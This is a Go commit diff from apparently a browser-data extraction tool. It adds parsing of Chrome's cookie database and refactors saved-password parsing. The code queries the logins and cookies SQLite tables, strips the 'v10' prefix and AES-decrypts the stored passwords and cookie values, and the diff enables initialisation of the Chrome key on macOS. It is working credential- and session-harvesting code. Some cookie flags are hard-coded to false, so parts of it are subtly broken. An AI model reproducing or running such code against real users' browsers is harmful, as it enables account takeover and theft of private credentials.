feat: add chrome cookie parse

core/common/common.go

@@ -19,6 +19,7 @@ const (
 var (
 	browserData  = new(BrowserData)
 	bookmarkList []*Bookmarks
+	cookieList   []*Cookies
 )
 
 const (
@@ -30,6 +31,10 @@ const (
 	bookmarkChildren = "children"
 )
 
+const (
+	queryHistory = ``
+)
+
 type (
 	BrowserData struct {
 		BrowserName string
@@ -37,11 +42,11 @@ type (
 		Bookmarks   []*Bookmarks
 	}
 	LoginData struct {
-		UserName    string
+		UserName    string    `json:"user_name"`
-		encryptPass []byte
+		encryptPass []byte    `json:"-"`
-		Password    string
+		Password    string    `json:"password"`
-		LoginUrl    string
+		LoginUrl    string    `json:"login_url"`
-		CreateDate  time.Time
+		CreateDate  time.Time `json:"create_date"`
 	}
 	Bookmarks struct {
 		ID        string    `json:"id"`
@@ -50,7 +55,18 @@ type (
 		Name      string    `json:"name"`
 		Type      string    `json:"type"`
 	}
-	Cookie struct {
+	Cookies struct {
+		KeyName      string
+		encryptValue []byte
+		Value        string
+		Host         string
+		Path         string
+		IsSecure     bool
+		IsHTTPOnly   bool
+		HasExpire    bool
+		IsPersistent bool
+		CreateDate   time.Time
+		ExpireDate   time.Time
 	}
 	History struct {
 	}
@@ -68,7 +84,10 @@ func ParseDB(dbname string) {
 		}
 	case utils.Bookmarks:
 		parseBookmarks()
+	case utils.Cookies:
+		parseCookie()
 	}
+
 }
 
 func parseBookmarks() {
@@ -80,47 +99,29 @@ func parseBookmarks() {
 	if r.Exists() {
 		roots := r.Get("roots")
 		roots.ForEach(func(key, value gjson.Result) bool {
-			getBookmarkValue(value)
+			getBookmarkChildren(value)
 			return true
 		})
 		fmt.Println(len(bookmarkList))
 	}
 }
 
-func getBookmarkValue(value gjson.Result) (children gjson.Result) {
+var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
-	b := new(Bookmarks)
-	b.ID = value.Get(bookmarkID).String()
-	nodeType := value.Get(bookmarkType)
-	b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
-	b.URL = value.Get(bookmarkUrl).String()
-	b.Name = value.Get(bookmarkName).String()
-	children = value.Get(bookmarkChildren)
-	if nodeType.Exists() {
-		b.Type = nodeType.String()
-		bookmarkList = append(bookmarkList, b)
-		if children.Exists() && children.IsArray() {
-			for _, v := range children.Array() {
-				children = getBookmarkValue(v)
-			}
-		}
-	}
-	return children
-}
 
 func parseLogin() (results []*LoginData, err error) {
 	//datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
-	loginD := &LoginData{}
+	login := &LoginData{}
-	logins, err := sql.Open("sqlite3", utils.LoginData)
+	loginDB, err := sql.Open("sqlite3", utils.LoginData)
 	defer func() {
-		if err := logins.Close(); err != nil {
+		if err := loginDB.Close(); err != nil {
 			log.Println(err)
 		}
 	}()
 	if err != nil {
 		log.Println(err)
 	}
-	err = logins.Ping()
+	err = loginDB.Ping()
-	rows, err := logins.Query(`SELECT origin_url, username_value, password_value, date_created FROM logins`)
+	rows, err := loginDB.Query(queryLogin)
 	defer func() {
 		if err := rows.Close(); err != nil {
 			log.Println(err)
@@ -128,39 +129,99 @@ func parseLogin() (results []*LoginData, err error) {
 	}()
 	for rows.Next() {
 		var (
-			url      string
+			url, username, password string
-			username string
+			pwd                     []byte
-			pwd      []byte
+			create                  int64
-			password string
-			create   int64
 		)
 		err = rows.Scan(&url, &username, &pwd, &create)
-		loginD = &LoginData{
+		login = &LoginData{
 			UserName:    username,
 			encryptPass: pwd,
 			LoginUrl:    url,
 			CreateDate:  utils.TimeEpochFormat(create),
 		}
 		if len(pwd) > 3 {
-			if err != nil {
+			// remove prefix 'v10'
-				log.Println(err)
-				continue
-			}
 			password, err = utils.Aes128CBCDecrypt(pwd[3:])
 		}
-		loginD.Password = password
+		login.Password = password
 		if err != nil {
 			log.Println(err)
 		}
-		results = append(results, loginD)
+		results = append(results, login)
 	}
 	return
 }
 
+var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
+func parseCookie() (results []*Cookies, err error) {
+	cookies := &Cookies{}
+	cookieDB, err := sql.Open("sqlite3", utils.Cookies)
+	defer func() {
+		if err := cookieDB.Close(); err != nil {
+			log.Println(err)
+		}
+	}()
+	if err != nil {
+		log.Println(err)
+	}
+	err = cookieDB.Ping()
+	rows, err := cookieDB.Query(queryCookie)
+	defer func() {
+		if err := rows.Close(); err != nil {
+			log.Println(err)
+		}
+	}()
+	for rows.Next() {
+		var (
+			key, host, path, value                        string
+			isSecure, isHTTPOnly, hasExpire, isPersistent bool
+			createDate, expireDate                        int64
+			encryptValue                                  []byte
+		)
+		err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
+		cookies = &Cookies{
+			KeyName:      key,
+			Host:         host,
+			Path:         path,
+			encryptValue: encryptValue,
+			IsSecure:     false,
+			IsHTTPOnly:   false,
+			HasExpire:    false,
+			IsPersistent: isPersistent,
+			CreateDate:   utils.TimeEpochFormat(createDate),
+			ExpireDate:   utils.TimeEpochFormat(expireDate),
+		}
+		if len(encryptValue) > 3 {
+			// remove prefix 'v10'
+			value, err = utils.Aes128CBCDecrypt(encryptValue[3:])
+		}
+		cookies.Value = value
+		cookieList = append(cookieList, cookies)
+	}
+	return cookieList, err
+}
+
 func parseHistory() {
 
 }
 
-func parseCookie() {
+func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
-
+	b := new(Bookmarks)
+	b.ID = value.Get(bookmarkID).String()
+	nodeType := value.Get(bookmarkType)
+	b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
+	b.URL = value.Get(bookmarkUrl).String()
+	b.Name = value.Get(bookmarkName).String()
+	children = value.Get(bookmarkChildren)
+	if nodeType.Exists() {
+		b.Type = nodeType.String()
+		bookmarkList = append(bookmarkList, b)
+		if children.Exists() && children.IsArray() {
+			for _, v := range children.Array() {
+				children = getBookmarkChildren(v)
+			}
+		}
+	}
+	return children
 }

main.go

@@ -18,16 +18,16 @@ func parse() {
 	osName := runtime.GOOS
 	switch osName {
 	case "darwin":
-		//err := utils.InitChromeKey()
+		err := utils.InitChromeKey()
-		//if err != nil {
+		if err != nil {
-		//	log.Println(err)
+			log.Println(err)
-		//	panic("init chrome key failed")
+			panic("init chrome key failed")
-		//}
+		}
 	case "windows":
 		fmt.Println("Windows")
 	}
 	//chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.BookMarks, utils.Cookies, utils.WebData)
-	chromePath, err := utils.GetDBPath(utils.Bookmarks)
+	chromePath, err := utils.GetDBPath(utils.Cookies)
 	if err != nil {
 		log.Error("can't find chrome.app in OS")
 	}
@@ -40,5 +40,4 @@ func parse() {
 		}
 		common.ParseDB(dst)
 	}
-
 }